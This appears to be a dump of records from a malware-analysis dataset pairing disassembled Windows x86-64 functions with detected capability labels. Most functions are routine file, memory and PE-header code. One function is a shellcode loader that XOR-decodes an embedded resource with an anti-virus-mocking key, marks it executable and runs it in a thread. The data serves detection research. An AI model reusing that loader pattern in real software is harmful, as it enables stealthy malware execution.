joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001800
Capabilities:
Terminate process

Disassembly:
push rbx
push rbp
sub rsp, 0x58
xor ebx, ebx
xor r9d, r9d
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov dword [rsp + 0x28], 0xe0000000
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x1400019ff
mov qword [rsp + 0x70], rsi
lea r9d, [rbx + 4]
mov qword [rsp + 0x78], rdi
mov edx, 0x40100000
mov qword [rsp + 0x80], r12
xor ecx, ecx
mov qword [rsp + 0x88], r14
mov r8d, 0x1000
mov qword [rsp + 0x50], r15
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ecx, ecx
mov r15, rax
lea r12, [rax + 0x40000000]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov rdi, r15
mov esi, 0x10000000
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov word [rdi], ax
lea rdi, [rdi + 2]
sub rsi, 1
jne 0x140001895
lea rcx, [r15 + 0x20000000]
mov r8d, 0x20000000
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov rdi, r12
mov rsi, r15
mov r14d, 0x40000
nop dword [rax]
mov rcx, rsi
call fcn.140001260
add rsi, 0x1000
mov dword [rdi], eax
lea rdi, [rdi + 4]
sub r14, 1
jne 0x1400018d0
lea rcx, [rsp + 0x40]
call fcn.1400012e0
mov r14, qword [rsp + 0x88]
mov edi, ebx
mov rsi, qword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movsxd rax, edi
lea r8d, [rdi + 0x200]
add rax, r15
lea rcx, [rsp + 0x40]
mov rdx, rbp
mov qword [rsp + 0x20], rax
call fcn.140001510
add edi, 0x1000
cmp edi, 0x40000000
jb 0x140001910
mov rdi, qword [rsp + 0x78]
movsxd rax, ebx
lea r8d, [rbx + 0x40000200]
add rax, r12
lea rcx, [rsp + 0x40]
mov rdx, rbp
mov qword [rsp + 0x20], rax
call fcn.140001510
add ebx, 0x1000
cmp ebx, 0x100000
jb 0x140001942
lea rcx, [rsp + 0x40]
call fcn.140001440
lea rdx, [rsp + 0x40]
mov rcx, rbp
call fcn.1400016f0
mov r8d, 0x40100000
mov rdx, rax
mov rcx, r15
mov rbx, rax
call sub.VCRUNTIME140.dll_memcmp
mov r12, qword [rsp + 0x80]
test eax, eax
je 0x1400019be
lea rcx, str.written_and_read_not_the_same_n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [rsp + 0x40]
call fcn.140001380
mov rcx, rbp
mov r15, qword [rsp + 0x50]
add rsp, 0x58
pop rbp
pop rbx
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.CreateFile
call fcn.1400010a0
int3

Function at 0x140001aa0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140001abd
test al, 0x10
jne 0x140001abd
mov eax, 1
add rsp, 0x28
ret
xor eax, eax
add rsp, 0x28
ret
Function at 0x18000115e
Capabilities:
Terminate process

Disassembly:
jmp 0x180005a40
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x180002ac0
Capabilities:
Get user security identifier

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xb0
lea rdi, [rsp + 0x40]
mov ecx, 0x1c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xc0]
mov dword [rsp + 0x44], 0
mov dword [rsp + 0x64], 0
mov dword [rsp + 0x84], 8
mov byte [rsp + 0x94], 0
cmp qword [rsp + 0xd0], 0
je 0x180002c61
lea rax, [rsp + 0x84]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x64]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
xor r8d, r8d
mov rdx, qword [rsp + 0xc0]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
jne 0x180002c61
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x180002c61
mov eax, dword [rsp + 0x44]
mov ecx, eax
call fcn.180003a80
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0x98], 0
je 0x180002c61
mov eax, dword [rsp + 0x64]
mov ecx, eax
call fcn.180003ae0
mov qword [rsp + 0xa0], rax
cmp qword [rsp + 0xa0], 0
je 0x180002c61
lea rax, [rsp + 0x84]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x64]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x44]
mov r8, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xc0]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
je 0x180002c54
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
je 0x180002c38
mov eax, dword [rsp + 0xc8]
cmp dword [rsp + 0x84], eax
jne 0x180002c38
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0x98]
mov qword [rax], rcx
mov byte [rsp + 0x94], 1
jmp 0x180002c54
mov rax, qword [rsp + 0xd0]
mov qword [rax], 0
mov rcx, qword [rsp + 0x98]
call fcn.1800029b0
mov rcx, qword [rsp + 0xa0]
call fcn.1800029b0
movzx eax, byte [rsp + 0x94]
mov edi, eax
mov rcx, rsp
lea rdx, [0x18000d630]
call fcn.18000122b
mov eax, edi
add rsp, 0xb0
pop rdi
ret
Function at 0x180003130
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x2d0
lea rdi, [rsp + 0x40]
mov ecx, 0xa4
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2e0]
mov rax, qword [0x180011008]
xor rax, rsp
mov qword [rsp + 0x2c0], rax
mov dword [rsp + 0x40], 0x643
mov r8d, 0x208
xor edx, edx
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140D.dll_memset
mov r8d, 0x104
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x2e0]
call qword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
test eax, eax
je 0x18000320f
mov dword [rsp + 0x284], 0
mov dword [rsp + 0x2a4], 0
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
lea rax, [rsp + 0x2a4]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x284]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x18000320d
mov eax, dword [rsp + 0x2a4]
and eax, 8
test eax, eax
je 0x18000320d
mov dword [rsp + 0x40], 0
jmp 0x180003219
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
mov edi, eax
mov rcx, rsp
lea rdx, [0x18000d930]
call fcn.18000122b
mov eax, edi
mov rcx, qword [rsp + 0x2c0]
xor rcx, rsp
call fcn.180001136
add rsp, 0x2d0
pop rdi
ret
Function at 0x140028974
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001c284
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001c284
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140028ac4
cmp rax, 0xffffffffffffffff
je 0x140028ac4
xor edi, edi
test rbp, rbp
jle 0x140028a6f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001eb98
mov rbx, rax
test rax, rax
jne 0x1400289fc
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140028a65
mov edx, 0x8000
mov ecx, r14d
call fcn.140019be8
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001cf60
cmp eax, 0xffffffff
je 0x140028a45
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140028a0c
mov edx, r15d
mov ecx, r14d
call fcn.140019be8
jmp 0x140028a65
cmp byte [rsi + 0x38], dil
je 0x140028a5c
cmp dword [rsi + 0x34], 5
jne 0x140028a5c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140028a65
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001a948
jmp 0x140028ad8
jns 0x140028ad8
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001c284
cmp rax, 0xffffffffffffffff
jne 0x140028a90
cmp byte [rsi + 0x30], dil
je 0x140028ad8
mov edi, dword [rsi + 0x2c]
jmp 0x140028ad8
mov ecx, r14d
call fcn.14001871c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140028ad8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140028ad8
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140028ad1
mov eax, dword [rsi + 0x2c]
jmp 0x140028ad6
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001c284
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140029bd0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140029bf8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140029bf8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140001000
Capabilities:
Execute command

Disassembly:
sub rsp, 0x28
movabs rax, 0xf000000000
xor ecx, ecx
add rcx, rax
mov rax, rcx
mov byte [rax], 0xa
movabs rax, 0xf000000000
mov ecx, 2
add rcx, rax
mov rax, rcx
mov ecx, 0xb0c
mov word [rax], cx
movabs rax, 0xf000000000
mov ecx, 4
add rcx, rax
mov rax, rcx
mov dword [rax], 0xd0e0f01
lea rcx, str.pause_0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
add rsp, 0x28
ret
Function at 0x140003f04
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x140003f32
xor eax, eax
jmp 0x140004018
cmp qword [rcx + 0x68], 0
je 0x140003f43
call fcn.140004034
jmp 0x140004018
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140003f5a
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140003f5c
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140003f8e
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.140006dd0
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x140004012
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x140003fc5
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x140003fee
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14000c514
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x140004012
cmp rsi, rbx
ja 0x140003fcc
test rsi, rsi
je 0x140004012
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14000c514
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x1400040f8
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140004127
call fcn.1400041b8
jmp 0x14000419e
mov rax, qword [rcx + 0x40]
mov rsi, rbx
mov r9, qword [rax]
test r9, r9
je 0x14000413e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140004140
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140004198
test ecx, ecx
jle 0x140004179
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call fcn.140006dd0
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140004198
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140004198
mov r8, rbx
mov edx, 1
mov rcx, r15
call fcn.14000ca74
sub rbx, rax
sub rsi, rbx
mov rax, rsi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret

Function at 0x140005cb0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005cfa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005cfa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005cfa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005cfa
cmp dword [rcx + 0x84], 0xe
jbe 0x140005cfa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005cfc
xor al, al
add rsp, 0x28
ret
Function at 0x14000b564
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14000b3f7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000b3f7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000b3f7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000b3f7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000b3f7
cmp dword [rcx + 0x84], 0xe
jbe 0x14000b3f7
cmp dword [rcx + 0xf8], 0
je 0x14000b3f7
mov ecx, ebx
call fcn.14000b498
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.14000b288
cmp dword [rbp + 0x20], 0
je 0x14000b444
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000b44c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000b390
Function at 0x140004ff8
Capabilities:
Check if file exists

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x14000c450]
xor rax, rsp
mov qword [rbp + 0x140], rax
xor r12d, r12d
lea rax, [rsp + 0x30]
mov qword [rdx], r12
lea r8, [rsp + 0x30]
mov r14d, r12d
sub rcx, rax
mov r15, rdx
mov r9d, 0x104
lea rax, [r9 + 0x7ffffefa]
test rax, rax
je 0x14000506d
movzx eax, word [rcx + r8]
test ax, ax
je 0x14000506d
mov word [r8], ax
add r8, 2
sub r9, 1
jne 0x140005049
lea rax, [r8 - 2]
test r9, r9
lea rcx, [rsp + 0x30]
cmovne rax, r8
lea r8, [0x140008988]
mov word [rax], r12w
call fcn.1400013ac
mov edi, 0x1f0003
lea r8, [rsp + 0x30]
mov ecx, edi
xor edx, edx
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_OpenSemaphoreW]
nop dword [rax + rax]
mov rbx, rax
test rax, rax
jne 0x1400050dc
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
cmp eax, 2
je 0x1400051d1
mov rcx, qword [rbp + 0x178]
mov edx, 0xc9
call fcn.140002e1c
mov esi, eax
jmp 0x1400051b5
lea rdx, [rsp + 0x24]
mov dword [rsp + 0x24], r12d
mov rcx, rbx
mov dword [rsp + 0x20], r12d
call fcn.1400038c8
mov esi, eax
test eax, eax
jns 0x14000511a
mov rcx, qword [rbp + 0x178]
mov r9d, eax
mov edx, 0xcf
call fcn.140002de0
mov rcx, rbx
call fcn.140003640
jmp 0x1400051b5
lea r8, [0x140008990]
lea rcx, [rsp + 0x30]
call fcn.1400013ac
lea r8, [rsp + 0x30]
xor edx, edx
mov ecx, edi
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_OpenSemaphoreW]
nop dword [rax + rax]
mov rdi, rax
test rax, rax
jne 0x14000515d
mov rcx, qword [rbp + 0x178]
mov edx, 0xd5
call fcn.140002e1c
mov esi, eax
jmp 0x14000510d
lea rdx, [rsp + 0x20]
mov rcx, rdi
call fcn.1400038c8
mov esi, eax
test eax, eax
jns 0x140005191
mov rcx, qword [rbp + 0x178]
mov r9d, eax
mov edx, 0xd7
call fcn.140002de0
mov rcx, rdi
call fcn.140003640
jmp 0x14000510d
mov rcx, rdi
call fcn.140003640
movsxd rax, dword [rsp + 0x20]
mov rcx, rbx
movsxd r14, dword [rsp + 0x24]
shl rax, 0x1f
or r14, rax
call fcn.140003640
mov esi, r12d
test esi, esi
jns 0x1400051d1
mov rcx, qword [rbp + 0x178]
mov r9d, esi
mov edx, 0x62
call fcn.140002de0
mov eax, esi
jmp 0x1400051d6
mov qword [r15], r14
xor eax, eax
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.140006010
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x140005410
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000c450]
xor rax, rsp
mov qword [rsp + 0x18], rax
mov rax, qword [rcx + 0x148]
xor r9d, r9d
shr rcx, 4
mov r8d, r9d
mov qword [rsp], rcx
mov ecx, r9d
mov rdx, qword [rax + 8]
movups xmm0, xmmword [rdx - 0x10]
movdqu xmmword [rsp + 8], xmm0
movzx eax, byte [rsp + rcx + 8]
inc rcx
add eax, r8d
imul r8d, eax, 0x401
mov eax, r8d
shr eax, 6
xor r8d, eax
cmp rcx, 0x10
jb 0x140005449
movzx eax, byte [rsp + r9]
inc r9
add eax, r8d
imul r8d, eax, 0x401
mov eax, r8d
shr eax, 6
xor r8d, eax
cmp r9, 8
jb 0x14000546a
lea eax, [r8 + r8*8]
mov ecx, eax
shr ecx, 0xb
xor ecx, eax
mov eax, 0x6fd91d85
imul r8d, ecx, 0x8001
mul r8d
shr edx, 0x12
imul ecx, edx, 0x927c0
sub r8d, ecx
lea eax, [r8 + 0x927c0]
mov rcx, qword [rsp + 0x18]
xor rcx, rsp
call fcn.140006010
add rsp, 0x28
ret

Function at 0x140006038
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x14000ca00], eax
call fcn.140006640
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x14000ca00], 0
jne case.default.0x14000608e
mov ecx, 1
call fcn.140006640
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
fmul qword [rcx + riz*2]
push rsi
invalid
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Extract resource via kernel32 functions
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov edx, 0x64
mov dword [rsp + 0x40], 0
xor ecx, ecx
mov r8d, 0xa
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, eax
mov r9d, 4
mov r8d, 0x3000
mov ebx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, ebx
mov rdx, rdi
mov rcx, rax
mov rsi, rax
call fcn.14000eda0
xor r9d, r9d
test rbx, rbx
je 0x140001126
xor edx, edx
lea r10, str.ahFuckAV121__
mov rcx, rsi
nop dword [rax]
xor r8d, r8d
lea rcx, [rcx + 1]
cmp rdx, 0xd
cmovne r8, rdx
inc r9d
movzx eax, byte [r8 + r10]
lea rdx, [r8 + 1]
xor byte [rcx - 1], al
movsxd rax, r9d
cmp rax, rbx
jb 0x140001100
lea r9, [rsp + 0x40]
mov r8d, 0x20
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001170
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov r8, rsi
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rbx, qword [rsp + 0x48]
xor eax, eax
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x1400018b0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400018fa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400018fa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400018fa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400018fa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400018fa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400018fc
xor al, al
add rsp, 0x28
ret
Function at 0x140004f58
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140004fc7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004fc7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004fc7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004fc7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004fc7
cmp dword [rcx + 0x84], 0xe
jbe 0x140004fc7
cmp dword [rcx + 0xf8], 0
je 0x140004fc7
mov ecx, ebx
call fcn.140005078
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140004e54
nop
cmp dword [rbp + 0x20], 0
je 0x140005015
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140005020
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140004f58

Function at 0x14000515c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140004f58
Function at 0x14000821c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000824c
xor eax, eax
jmp 0x14000830f
mov rbp, rbx
cmp word [rax], si
je 0x140008271
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140008258
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140008254
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000813c
movsxd r14, eax
test eax, eax
jne 0x1400082af
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140008245
mov rcx, r14
call fcn.1400090f8
mov rdi, rax
test rax, rax
jne 0x1400082c8
xor ecx, ecx
call fcn.14000679c
jmp 0x1400082a4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000813c
test eax, eax
jne 0x1400082f9
mov rcx, rdi
call fcn.14000679c
jmp 0x140008303
xor ecx, ecx
call fcn.14000679c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret